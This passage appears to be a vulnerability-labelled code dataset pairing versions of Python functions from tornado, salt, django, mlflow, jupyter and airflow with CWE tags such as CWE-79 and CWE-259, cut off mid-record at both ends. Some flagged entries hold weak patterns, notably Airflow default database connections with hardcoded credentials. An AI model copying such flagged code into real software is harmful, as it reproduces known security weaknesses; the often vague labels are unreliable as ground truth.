        locale = tornado.locale.get('en_US')
        date = datetime.datetime(2013, 4, 28, 18, 35)
        self.assertEqual(locale.format_date(date, full_format=True),
                         'April 28, 2013 at 6:35 pm')

        now = datetime.datetime.utcnow()

        self.assertEqual(locale.format_date(now - datetime.timedelta(seconds=2), full_format=False),
                         '2 seconds ago')
        self.assertEqual(locale.format_date(now - datetime.timedelta(minutes=2), full_format=False),
                         '2 minutes ago')
        self.assertEqual(locale.format_date(now - datetime.timedelta(hours=2), full_format=False),
                         '2 hours ago')

        self.assertEqual(locale.format_date(now - datetime.timedelta(days=1),
                                            full_format=False, shorter=True), 'yesterday')

        date = now - datetime.timedelta(days=2)
        self.assertEqual(locale.format_date(date, full_format=False, shorter=True),
                         locale._weekdays[date.weekday()])

        date = now - datetime.timedelta(days=300)
        self.assertEqual(locale.format_date(date, full_format=False, shorter=True),
                         '%s %d' % (locale._months[date.month - 1], date.day))

        date = now - datetime.timedelta(days=500)
        self.assertEqual(locale.format_date(date, full_format=False, shorter=True),
                         '%s %d, %d' % (locale._months[date.month - 1], date.day, date.year))",CWE-Unknown,tornadoweb/tornado,61bfba41f283340a223f1e31d3691cee12916065,"def test_format_date(self):
        locale = tornado.locale.get('en_US')
        date = datetime.datetime(2013, 4, 28, 18, 35)
        self.assertEqual(locale.format_date(date, full_format=True),
                         'April 28, 2013 at 6:35 pm')

        self.assertEqual(locale.format_date(datetime.datetime.utcnow() - datetime.timedelta(seconds=2), full_format=False),
                         '2 seconds ago')
        self.assertEqual(locale.format_date(datetime.datetime.utcnow() - datetime.timedelta(minutes=2), full_format=False),
                         '2 minutes ago')
        self.assertEqual(locale.format_date(datetime.datetime.utcnow() - datetime.timedelta(hours=2), full_format=False),
                         '2 hours ago')

        now = datetime.datetime.utcnow()
        self.assertEqual(locale.format_date(now - datetime.timedelta(days=1), full_format=False, shorter=True),
                         'yesterday')

        date = now - datetime.timedelta(days=2)
        self.assertEqual(locale.format_date(date, full_format=False, shorter=True),
                         locale._weekdays[date.weekday()])

        date = now - datetime.timedelta(days=300)
        self.assertEqual(locale.format_date(date, full_format=False, shorter=True),
                         '%s %d' % (locale._months[date.month - 1], date.day))

        date = now - datetime.timedelta(days=500)
        self.assertEqual(locale.format_date(date, full_format=False, shorter=True),
                         '%s %d, %d' % (locale._months[date.month - 1], date.day, date.year))"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/states/npm_test.py,0,"def test_bootstrap(self):
        '''
        Test to bootstraps a node.js application.
        '''
        name = 'coffee-script'

        ret = {'name': name,
               'result': False,
               'comment': '',
               'changes': {}}

        mock_err = MagicMock(side_effect=CommandExecutionError)
        with patch.dict(npm.__salt__, {'npm.install': mock_err}):
            comt = (""Error Bootstrapping 'coffee-script': "")
            ret.update({'comment': comt})
            self.assertDictEqual(npm.bootstrap(name), ret)

            comt = ('Directory is already bootstrapped')
            ret.update({'comment': comt, 'result': True})
            self.assertDictEqual(npm.bootstrap(name), ret)

            comt = ('Directory was successfully bootstrapped')
            ret.update({'comment': comt, 'result': True,
                        'changes': {name: 'Bootstrapped'}})
            self.assertDictEqual(npm.bootstrap(name), ret)",,saltstack/salt,b83fb3e857c67d3dccc58487f542ac30160af59e,"def test_bootstrap(self):
        '''
        Test to bootstraps a node.js application.
        '''
        name = 'coffee-script'

        ret = {'name': name,
               'result': False,
               'comment': '',
               'changes': {}}

        mock_err = MagicMock(side_effect=[CommandExecutionError, False, True])
        with patch.dict(npm.__salt__, {'npm.install': mock_err}):
            comt = (""Error Bootstrapping 'coffee-script': "")
            ret.update({'comment': comt})
            self.assertDictEqual(npm.bootstrap(name), ret)

            comt = ('Directory is already bootstrapped')
            ret.update({'comment': comt, 'result': True})
            self.assertDictEqual(npm.bootstrap(name), ret)

            comt = ('Directory was successfully bootstrapped')
            ret.update({'comment': comt, 'result': True,
                        'changes': {name: 'Bootstrapped'}})
            self.assertDictEqual(npm.bootstrap(name), ret)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/mysql.py,0,"def version(**connection_args):
    '''
    Return the version of a MySQL server using the output from the ``SELECT
    VERSION()`` query.

    CLI Example:

    .. code-block:: bash

        salt '*' mysql.version
    '''
    dbc = _connect(**connection_args)
    if dbc is None:
        return ''
    cur = dbc.cursor()
    qry = 'SELECT VERSION()'
    try:
        _execute(cur, qry)
    except MySQLdb.OperationalError as exc:
        err = 'MySQL Error {0}: {1}'.format(*exc.args)
        __context__['mysql.error'] = err
        log.error(err)
        return ''

    try:
        return salt.utils.data.decode(cur.fetchone()[0])
    except IndexError:
        return ''",,saltstack/salt,d2045b7f4504e74e4436150c310c7621e3a88f66,"def version(**connection_args):
    '''
    Return the version of a MySQL server using the output from the ``SELECT
    VERSION()`` query.

    CLI Example:

    .. code-block:: bash

        salt '*' mysql.version
    '''
    dbc = _connect(**connection_args)
    if dbc is None:
        return ''
    cur = dbc.cursor()
    qry = 'SELECT VERSION()'
    try:
        _execute(cur, qry)
    except MySQLdb.OperationalError as exc:
        err = 'MySQL Error {0}: {1}'.format(*exc.args)
        __context__['mysql.error'] = err
        log.error(err)
        return ''

    try:
        return cur.fetchone()[0]
    except IndexError:
        return ''"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/prefetch_related/tests.py,0,"def test_foreignkey_reverse(self):
        with self.assertNumQueries(2):
            [list(b.first_time_authors.all())
             for b in Book.objects.prefetch_related('first_time_authors')]

        self.assertSequenceEqual(self.book2.authors.all(), [self.author1])",CWE-Unknown,django/django,3f7b3275627385f8f7531fca01cdda50d4ec6b6e,"def test_foreignkey_reverse(self):
        with self.assertNumQueries(2):
            [list(b.first_time_authors.all())
             for b in Book.objects.prefetch_related('first_time_authors')]

        self.assertQuerysetEqual(self.book2.authors.all(), [""<Author: Charlotte>""])"
,UNKNOWN,UNKNOWN,tests/integration/states/test_file.py,1,"def test_managed_source_hash_indifferent_case(self):
        """"""
        Test passing a source_hash as an uppercase hash.

        This is a regression test for Issue #38914 and Issue #48230 (test=true use).
        """"""
        name = self.tmp_dir / ""source_hash_indifferent_case""
        self.addCleanup(salt.utils.files.safe_rm, str(name))
        state_name = ""file_|-{0}_|-{0}_|-managed"".format(name)
        local_path = os.path.join(RUNTIME_VARS.BASE_FILES, ""hello_world.txt"")
        actual_hash = ""c98c24b677eff44860afea6f493bbaec5bb1c4cbb209c6fc2bbb47f66ff2ad31""
        if IS_WINDOWS:
            # CRLF vs LF causes a differnt hash on windows
            actual_hash = (
                ""92b772380a3f8e27a93e57e6deeca6c01da07f5aadce78bb2fbb20de10a66925""
            )
        uppercase_hash = actual_hash.upper()

        # Lay down tmp file to test against
        self.run_state(
            ""file.managed"", name=str(name), source=local_path, source_hash=actual_hash
        )

        # Test uppercase source_hash: should return True with no changes
        ret = self.run_state(
            ""file.managed"",
            name=str(name),
            source=local_path,
            source_hash=uppercase_hash,
        )
        assert ret[state_name][""result""] is True
        assert ret[state_name][""changes""] == {}

        # Test uppercase source_hash using test=true
        # Should return True with no changes
        ret = self.run_state(
            ""file.managed"",
            name=str(name),
            source=local_path,
            source_hash=uppercase_hash,
            test=True,
        )
        assert ret[state_name][""result""] is True
        assert ret[state_name][""changes""] == {}",CWE-703,saltstack/salt,76e50885b07621e9e4c16bc3f1ebc16c93983b90,"def test_managed_source_hash_indifferent_case(self):
        """"""
        Test passing a source_hash as an uppercase hash.

        This is a regression test for Issue #38914 and Issue #48230 (test=true use).
        """"""
        name = self.tmp_dir / ""source_hash_indifferent_case""
        self.addCleanup(salt.utils.files.safe_rm, str(name))
        state_name = ""file_|-{0}_|"" ""-{0}_|-managed"".format(name)
        local_path = os.path.join(RUNTIME_VARS.BASE_FILES, ""hello_world.txt"")
        actual_hash = ""c98c24b677eff44860afea6f493bbaec5bb1c4cbb209c6fc2bbb47f66ff2ad31""
        if IS_WINDOWS:
            # CRLF vs LF causes a differnt hash on windows
            actual_hash = (
                ""92b772380a3f8e27a93e57e6deeca6c01da07f5aadce78bb2fbb20de10a66925""
            )
        uppercase_hash = actual_hash.upper()

        # Lay down tmp file to test against
        self.run_state(
            ""file.managed"", name=str(name), source=local_path, source_hash=actual_hash
        )

        # Test uppercase source_hash: should return True with no changes
        ret = self.run_state(
            ""file.managed"",
            name=str(name),
            source=local_path,
            source_hash=uppercase_hash,
        )
        assert ret[state_name][""result""] is True
        assert ret[state_name][""changes""] == {}

        # Test uppercase source_hash using test=true
        # Should return True with no changes
        ret = self.run_state(
            ""file.managed"",
            name=str(name),
            source=local_path,
            source_hash=uppercase_hash,
            test=True,
        )
        assert ret[state_name][""result""] is True
        assert ret[state_name][""changes""] == {}"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/cloud/clouds/test_opennebula.py,0,"def test__get_xml(self):
        """"""
        Tests that invalid XML raises SaltCloudSystemExit.
        """"""
        self.assertRaises(
            SaltCloudSystemExit,
            opennebula._get_xml,
            ""[VirtualMachinePoolInfo] User couldn't be authenticated, aborting call."",
        )",,saltstack/salt,76e50885b07621e9e4c16bc3f1ebc16c93983b90,"def test__get_xml(self):
        """"""
        Tests that invalid XML raises SaltCloudSystemExit.
        """"""
        self.assertRaises(
            SaltCloudSystemExit,
            opennebula._get_xml,
            ""[VirtualMachinePoolInfo] User couldn't be""
            "" authenticated, aborting call."",
        )"
,UNKNOWN,UNKNOWN,tests/utils/test_databricks_utils.py,1,"def test_is_in_databricks_runtime():
    with mock.patch(
        ""sys.modules"",
        new={**sys.modules, ""pyspark"": mock.MagicMock(), ""pyspark.databricks"": mock.MagicMock()},
    ):
        # pylint: disable=unused-import,import-error,no-name-in-module,unused-variable
        import pyspark.databricks

        assert databricks_utils.is_in_databricks_runtime()

    with mock.patch(""sys.modules"", new={**sys.modules, ""pyspark"": mock.MagicMock()}):
        with pytest.raises(ModuleNotFoundError, match=""No module named 'pyspark.databricks'""):
            # pylint: disable=unused-import,import-error,no-name-in-module,unused-variable
            import pyspark.databricks
        assert not databricks_utils.is_in_databricks_runtime()",CWE-703,mlflow/mlflow,adcdf30b2aaf9f5767acc5efe31db1d77417bf5f,"def test_is_in_databricks_runtime():
    with mock.patch(
        ""sys.modules"",
        new={**sys.modules, ""pyspark"": mock.MagicMock(), ""pyspark.databricks"": mock.MagicMock()},
    ):
        # pylint: disable=unused-import,import-error,no-name-in-module,unused-variable
        import pyspark.databricks

        assert databricks_utils.is_in_databricks_runtime()

    with mock.patch(""sys.modules"", new={**sys.modules, ""pyspark"": mock.MagicMock()}):
        with pytest.raises(ModuleNotFoundError, match=""No module named 'pyspark.databricks'""):
            # pylint: disable=unused-import,import-error,no-name-in-module,unused-variable
            import pyspark.databricks
        assert not databricks_utils.is_in_databricks_runtime()"
,UNKNOWN,UNKNOWN,django/utils/numberformat.py,1,"def format(number, decimal_sep, decimal_pos=None, grouping=0, thousand_sep='',
           force_grouping=False):
    """"""
    Gets a number (as a number or string), and returns it as a string,
    using formats defined as arguments:

    * decimal_sep: Decimal separator symbol (for example ""."")
    * decimal_pos: Number of decimal positions
    * grouping: Number of digits in every group limited by thousand separator
    * thousand_sep: Thousand separator symbol (for example "","")
    """"""
    use_grouping = settings.USE_L10N and settings.USE_THOUSAND_SEPARATOR
    use_grouping = use_grouping or force_grouping
    use_grouping = use_grouping and grouping > 0
    # Make the common case fast
    if isinstance(number, int) and not use_grouping and not decimal_pos:
        return mark_safe(six.text_type(number))
    # sign
    sign = ''
    if isinstance(number, Decimal):
        str_number = '{:f}'.format(number)
    else:
        str_number = six.text_type(number)
    if str_number[0] == '-':
        sign = '-'
        str_number = str_number[1:]
    # decimal part
    if '.' in str_number:
        int_part, dec_part = str_number.split('.')
        if decimal_pos is not None:
            dec_part = dec_part[:decimal_pos]
    else:
        int_part, dec_part = str_number, ''
    if decimal_pos is not None:
        dec_part = dec_part + ('0' * (decimal_pos - len(dec_part)))
    if dec_part:
        dec_part = decimal_sep + dec_part
    # grouping
    if use_grouping:
        int_part_gd = ''
        for cnt, digit in enumerate(int_part[::-1]):
            if cnt and not cnt % grouping:
                int_part_gd += thousand_sep[::-1]
            int_part_gd += digit
        int_part = int_part_gd[::-1]
    return sign + int_part + dec_part",CWE-79,django/django,b44a56c3080312ab94679a396e6b60a18f9b6463,"def format(number, decimal_sep, decimal_pos=None, grouping=0, thousand_sep='',
           force_grouping=False):
    """"""
    Gets a number (as a number or string), and returns it as a string,
    using formats defined as arguments:

    * decimal_sep: Decimal separator symbol (for example ""."")
    * decimal_pos: Number of decimal positions
    * grouping: Number of digits in every group limited by thousand separator
    * thousand_sep: Thousand separator symbol (for example "","")
    """"""
    use_grouping = settings.USE_L10N and settings.USE_THOUSAND_SEPARATOR
    use_grouping = use_grouping or force_grouping
    use_grouping = use_grouping and grouping > 0
    # Make the common case fast
    if isinstance(number, int) and not use_grouping and not decimal_pos:
        return mark_safe(six.text_type(number))
    # sign
    sign = ''
    if isinstance(number, Decimal):
        str_number = '{:f}'.format(number)
    else:
        str_number = six.text_type(number)
    if str_number[0] == '-':
        sign = '-'
        str_number = str_number[1:]
    # decimal part
    if '.' in str_number:
        int_part, dec_part = str_number.split('.')
        if decimal_pos is not None:
            dec_part = dec_part[:decimal_pos]
    else:
        int_part, dec_part = str_number, ''
    if decimal_pos is not None:
        dec_part = dec_part + ('0' * (decimal_pos - len(dec_part)))
    if dec_part:
        dec_part = decimal_sep + dec_part
    # grouping
    if use_grouping:
        int_part_gd = ''
        for cnt, digit in enumerate(int_part[::-1]):
            if cnt and not cnt % grouping:
                int_part_gd += thousand_sep
            int_part_gd += digit
        int_part = int_part_gd[::-1]
    return sign + int_part + dec_part"
,UNKNOWN,UNKNOWN,test/units/module_utils/basic/test_log.py,1,"def test_no_log(self, am, mocker, no_log):
        journal_send = mocker.patch('systemd.journal.send')
        am.no_log = no_log
        am.log('unittest no_log')
        if no_log:
            assert not journal_send.called
        else:
            assert journal_send.called == 1
            # Message
            # call_args is a 2-tuple of (arg_list, kwarg_dict)
            assert journal_send.call_args[1]['MESSAGE'].endswith('unittest no_log'), 'Message was not sent to log'
            # log adds this journal field
            assert 'MODULE' in journal_send.call_args[1]
            assert 'basic.py' in journal_send.call_args[1]['MODULE']",CWE-703,ansible/ansible,5b4a7cc283422525001b3b9e1d86d8fb29d3aec4,"def test_no_log(self, am, mocker, no_log):
        journal_send = mocker.patch('systemd.journal.send')
        am.no_log = no_log
        am.log('unittest no_log')
        if no_log:
            assert not journal_send.called
        else:
            assert journal_send.called == 1
            # Message
            # call_args is a 2-tuple of (arg_list, kwarg_dict)
            assert journal_send.call_args[0][0].endswith('unittest no_log'), 'Message was not sent to log'
            # log adds this journal field
            assert 'MODULE' in journal_send.call_args[1]
            assert 'basic.py' in journal_send.call_args[1]['MODULE']"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/types/utils.py,0,"def _infer_numpy_dtype(dtype) -> DataType:
    supported_types = np.dtype

    # noinspection PyBroadException
    try:
        from pandas.core.dtypes.base import ExtensionDtype

        supported_types = (np.dtype, ExtensionDtype)
    except ImportError:
        # This version of pandas does not support extension types
        pass
    if not isinstance(dtype, supported_types):
        raise TypeError(
            ""Expected numpy.dtype or pandas.ExtensionDtype, got '{}'."".format(type(dtype))
        )

    if dtype.kind == ""b"":
        return DataType.boolean
    elif dtype.kind == ""i"" or dtype.kind == ""u"":
        if dtype.itemsize < 4 or (dtype.kind == ""i"" and dtype.itemsize == 4):
            return DataType.integer
        elif dtype.itemsize < 8 or (dtype.kind == ""i"" and dtype.itemsize == 8):
            return DataType.long
    elif dtype.kind == ""f"":
        if dtype.itemsize <= 4:
            return DataType.float
        elif dtype.itemsize <= 8:
            return DataType.double

    elif dtype.kind == ""U"":
        return DataType.string
    elif dtype.kind == ""S"":
        return DataType.binary
    elif dtype.kind == ""O"":
        raise Exception(
            ""Can not infer object without looking at the values, call _map_numpy_array instead.""
        )
    elif dtype.kind == ""M"":
        return DataType.datetime
    raise MlflowException(""Unsupported numpy data type '{0}', kind '{1}'"".format(dtype, dtype.kind))",,mlflow/mlflow,5e2c868d69aad968dd6eaebf8c8f447e72366140,"def _infer_numpy_dtype(dtype) -> DataType:
    supported_types = np.dtype

    # noinspection PyBroadException
    try:
        from pandas.core.dtypes.base import ExtensionDtype

        supported_types = (np.dtype, ExtensionDtype)
    except ImportError:
        # This version of pandas does not support extension types
        pass
    if not isinstance(dtype, supported_types):
        raise TypeError(
            ""Expected numpy.dtype or pandas.ExtensionDtype, got '{}'."".format(type(dtype))
        )

    if dtype.kind == ""b"":
        return DataType.boolean
    elif dtype.kind == ""i"" or dtype.kind == ""u"":
        if dtype.itemsize < 4 or (dtype.kind == ""i"" and dtype.itemsize == 4):
            return DataType.integer
        elif dtype.itemsize < 8 or (dtype.kind == ""i"" and dtype.itemsize == 8):
            return DataType.long
    elif dtype.kind == ""f"":
        if dtype.itemsize <= 4:
            return DataType.float
        elif dtype.itemsize <= 8:
            return DataType.double

    elif dtype.kind == ""U"":
        return DataType.string
    elif dtype.kind == ""S"":
        return DataType.binary
    elif dtype.kind == ""O"":
        raise Exception(
            ""Can not infer np.object without looking at the values, call ""
            ""_map_numpy_array instead.""
        )
    elif dtype.kind == ""M"":
        return DataType.datetime
    raise MlflowException(""Unsupported numpy data type '{0}', kind '{1}'"".format(dtype, dtype.kind))"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/notebooks/handlers.py,0,"def post(self, path='', name=None):
        """"""post creates a new checkpoint""""""
        nbm = self.notebook_manager
        checkpoint = nbm.create_checkpoint(name, path)
        data = json.dumps(checkpoint, default=date_default)
        location = url_path_join(self.base_project_url, u'/api/notebooks',
            path, name, 'checkpoints', checkpoint[u'checkpoint_id'])
        self.set_header(u'Location', location)
        self.set_status(201)
        self.finish(data)",,jupyter/notebook,cbc141c95c38798e9d8d71ea4068c3b2b4df84ef,"def post(self, path='', name=None):
        """"""post creates a new checkpoint""""""
        nbm = self.notebook_manager
        checkpoint = nbm.create_checkpoint(name, path)
        data = json.dumps(checkpoint, default=date_default)
        location = url_path_join(self.base_project_url, u'/api/notebooks',
            path, name, 'checkpoints', checkpoint[u'checkpoint_id'])
        self.set_header(u'Location', location)
        self.finish(data)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/store/tracking/test_rest_store.py,0,"def _call_endpoint(self, api, json_body):
        raise MyCoolException(""cool"")",,mlflow/mlflow,26748f8908185dd8e52dc20e746c123652c277ed,"def _call_endpoint(self, api, json_body):
        raise MyCoolException(""cool"")"
,UNKNOWN,UNKNOWN,tests/dag_processing/test_processor.py,1,"def test_process_file_should_failure_callback(self, monkeypatch, tmp_path, get_test_dag):
        callback_file = tmp_path.joinpath(""callback.txt"")
        callback_file.touch()
        monkeypatch.setenv(""AIRFLOW_CALLBACK_FILE"", str(callback_file))
        dag_file_processor = DagFileProcessor(
            dag_ids=[], dag_directory=TEST_DAGS_FOLDER, log=mock.MagicMock()
        )

        dag = get_test_dag(""test_on_failure_callback"")
        task = dag.get_task(task_id=""test_on_failure_callback_task"")
        with create_session() as session:
            dagrun = dag.create_dagrun(
                state=State.RUNNING,
                execution_date=DEFAULT_DATE,
                run_type=DagRunType.SCHEDULED,
                session=session,
            )
            ti = dagrun.get_task_instance(task.task_id)
            ti.refresh_from_task(task)

            requests = [
                TaskCallbackRequest(
                    full_filepath=dag.fileloc,
                    simple_task_instance=SimpleTaskInstance.from_ti(ti),
                    msg=""Message"",
                )
            ]
            dag_file_processor.process_file(dag.fileloc, requests, session=session)

        ti.refresh_from_db()
        msg = "" "".join([str(k) for k in ti.key.primary]) + "" fired callback""
        assert msg in callback_file.read_text()",CWE-703,apache/airflow,5cc3dc85c35a15968ad8a53ed6911a7eb6753772,"def test_process_file_should_failure_callback(self, monkeypatch, tmp_path, get_test_dag):
        callback_file = tmp_path.joinpath(""callback.txt"")
        callback_file.touch()
        monkeypatch.setenv(""AIRFLOW_CALLBACK_FILE"", str(callback_file))
        dag_file_processor = DagFileProcessor(
            dag_ids=[], dag_directory=TEST_DAGS_FOLDER, log=mock.MagicMock()
        )

        dag = get_test_dag(""test_on_failure_callback"")
        task = dag.get_task(task_id=""test_on_failure_callback_task"")
        with create_session() as session:
            dagrun = dag.create_dagrun(
                state=State.RUNNING,
                execution_date=DEFAULT_DATE,
                run_type=DagRunType.SCHEDULED,
                session=session,
            )
            ti = dagrun.get_task_instance(task.task_id)
            ti.refresh_from_task(task)

            requests = [
                TaskCallbackRequest(
                    full_filepath=dag.fileloc,
                    simple_task_instance=SimpleTaskInstance.from_ti(ti),
                    msg=""Message"",
                )
            ]
            dag_file_processor.process_file(dag.fileloc, requests, session=session)

        ti.refresh_from_db()
        msg = "" "".join([str(k) for k in ti.key.primary]) + "" fired callback""
        assert msg in callback_file.read_text()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/amazon/aws/sensors/glue.py,0,"def __init__(self, *,
                 job_name,
                 run_id,
                 aws_conn_id='aws_default',
                 **kwargs):
        super().__init__(**kwargs)
        self.job_name = job_name
        self.run_id = run_id
        self.aws_conn_id = aws_conn_id
        self.success_states = ['SUCCEEDED']
        self.errored_states = ['FAILED', 'STOPPED', 'TIMEOUT']",CWE-Unknown,apache/airflow,dea345b05c2cd226e70f97a3934d7456aa1cc754,"def __init__(self, *,
                 job_name,
                 run_id,
                 aws_conn_id='aws_default',
                 **kwargs):
        super().__init__(**kwargs)
        self.job_name = job_name
        self.run_id = run_id
        self.aws_conn_id = aws_conn_id
        self.success_states = ['SUCCEEDED']
        self.errored_states = ['FAILED', 'STOPPED', 'TIMEOUT']"
,UNKNOWN,UNKNOWN,airflow/utils.py,1,"def initdb():
    from airflow import models
    upgradedb()

    # Creating the local_mysql DB connection
    C = models.Connection
    session = settings.Session()

    conn = session.query(C).filter(C.conn_id == 'airflow_db').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='airflow_db', conn_type='mysql',
                host='localhost', login='root', password='',
                schema='airflow'))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'beeline_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='beeline_default', conn_type='beeline',
                host='localhost',
                schema='airflow'))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'local_mysql').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='local_mysql', conn_type='mysql',
                host='localhost', login='airflow', password='airflow',
                schema='airflow'))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'presto_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='presto_default', conn_type='presto',
                host='localhost',
                schema='hive', port=3400))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'hive_cli_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='hive_cli_default', conn_type='hive_cli',
                schema='default',))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'hiveserver2_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='hiveserver2_default', conn_type='hiveserver2',
                host='localhost',
                schema='default', port=10000))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'metastore_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='metastore_default', conn_type='hive_metastore',
                host='localhost',
                port=10001))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'mysql_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='mysql_default', conn_type='mysql',
                host='localhost'))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'sqlite_default').first()
    if not conn:
        home = conf.get('core', 'AIRFLOW_HOME')
        session.add(
            models.Connection(
                conn_id='sqlite_default', conn_type='sqlite',
                host='{}/sqlite_default.db'.format(home)))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'http_default').first()
    if not conn:
        home = conf.get('core', 'AIRFLOW_HOME')
        session.add(
            models.Connection(
                conn_id='http_default', conn_type='http',
                host='http://www.google.com'))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'mssql_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='mssql_default', conn_type='mssql',
                host='localhost', port=1433))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'vertica_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='vertica_default', conn_type='vertica',
                host='localhost', port=5433))
        session.commit()

    # Known event types
    KET = models.KnownEventType
    if not session.query(KET).filter(KET.know_event_type == 'Holiday').first():
        session.add(KET(know_event_type='Holiday'))
    if not session.query(KET).filter(KET.know_event_type == 'Outage').first():
        session.add(KET(know_event_type='Outage'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Natural Disaster').first():
        session.add(KET(know_event_type='Natural Disaster'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Marketing Campaign').first():
        session.add(KET(know_event_type='Marketing Campaign'))
    session.commit()
    session.close()

    models.DagBag(sync_to_db=True)",CWE-259,apache/airflow,5da0dbc03921b8b4ae787b6598293a3a3e5c88b9,"def initdb():
    from airflow import models
    upgradedb()

    # Creating the local_mysql DB connection
    C = models.Connection
    session = settings.Session()

    conn = session.query(C).filter(C.conn_id == 'airflow_db').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='airflow_db ', conn_type='mysql',
                host='localhost', login='root', password='',
                schema='airflow'))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'local_mysql').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='local_mysql', conn_type='mysql',
                host='localhost', login='airflow', password='airflow',
                schema='airflow'))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'presto_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='presto_default', conn_type='presto',
                host='localhost',
                schema='hive', port=3400))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'hive_cli_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='hive_cli_default', conn_type='hive_cli',
                schema='default',))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'hiveserver2_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='hiveserver2_default', conn_type='hiveserver2',
                host='localhost',
                schema='default', port=10000))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'metastore_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='metastore_default', conn_type='hive_metastore',
                host='localhost',
                port=10001))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'mysql_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='mysql_default', conn_type='mysql',
                host='localhost'))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'sqlite_default').first()
    if not conn:
        home = conf.get('core', 'AIRFLOW_HOME')
        session.add(
            models.Connection(
                conn_id='sqlite_default', conn_type='sqlite',
                host='{}/sqlite_default.db'.format(home)))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'http_default').first()
    if not conn:
        home = conf.get('core', 'AIRFLOW_HOME')
        session.add(
            models.Connection(
                conn_id='http_default', conn_type='http',
                host='http://www.google.com'))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'mssql_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='mssql_default', conn_type='mssql',
                host='localhost', port=1433))
        session.commit()

    conn = session.query(C).filter(C.conn_id == 'vertica_default').first()
    if not conn:
        session.add(
            models.Connection(
                conn_id='vertica_default', conn_type='vertica',
                host='localhost', port=5433))
        session.commit()

    # Known event types
    KET = models.KnownEventType
    if not session.query(KET).filter(KET.know_event_type == 'Holiday').first():
        session.add(KET(know_event_type='Holiday'))
    if not session.query(KET).filter(KET.know_event_type == 'Outage').first():
        session.add(KET(know_event_type='Outage'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Natural Disaster').first():
        session.add(KET(know_event_type='Natural Disaster'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Marketing Campaign').first():
        session.add(KET(know_event_type='Marketing Campaign'))
    session.commit()
    session.close()

    models.DagBag(sync_to_db=True)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/fileio.py,0,"def atomic_writing(path, text=True, encoding='utf-8', **kwargs):
    """"""Context manager to write to a file only if the entire write is successful.
    
    This works by copying the previous file contents to a temporary file in the
    same directory, and renaming that file back to the target if the context
    exits with an error. If the context is successful, the new data is synced to
    disk and the temporary file is removed.
    
    Parameters
    ----------
    path : str
      The target file to write to.
     
    text : bool, optional
      Whether to open the file in text mode (i.e. to write unicode). Default is
      True.
    
    encoding : str, optional
      The encoding to use for files opened in text mode. Default is UTF-8.
     
    **kwargs
      Passed to :func:`io.open`.
    """"""
    # realpath doesn't work on Windows: http://bugs.python.org/issue9949
    # Luckily, we only need to resolve the file itself being a symlink, not
    # any of its directories, so this will suffice:
    if os.path.islink(path):
        path = os.path.join(os.path.dirname(path), os.readlink(path))

    dirname, basename = os.path.split(path)
    # The .~ prefix will make Dropbox ignore the temporary file.
    tmp_path = os.path.join(dirname, '.~'+basename)
    if os.path.isfile(path):
        shutil.copy2(path, tmp_path)

    if text:
        # Make sure that text files have Unix linefeeds by default
        kwargs.setdefault('newline', '\n')
        fileobj = io.open(path, 'w', encoding=encoding, **kwargs)
    else:
        fileobj = io.open(path, 'wb', **kwargs)

    try:
        yield fileobj
    except:
        # Failed! Move the backup file back to the real path to avoid corruption
        fileobj.close()
        if os.name == 'nt' and os.path.exists(path):
            # Rename over existing file doesn't work on Windows
            os.remove(path)
        os.rename(tmp_path, path)
        raise

    # Flush to disk
    fileobj.flush()
    os.fsync(fileobj.fileno())
    fileobj.close()

    # Written successfully, now remove the backup copy
    if os.path.isfile(tmp_path):
        os.remove(tmp_path)",,jupyter/notebook,535a04da4285b5f7f623f8c52d8cd9d973030e94,"def atomic_writing(path, text=True, encoding='utf-8', **kwargs):
    """"""Context manager to write to a file only if the entire write is successful.
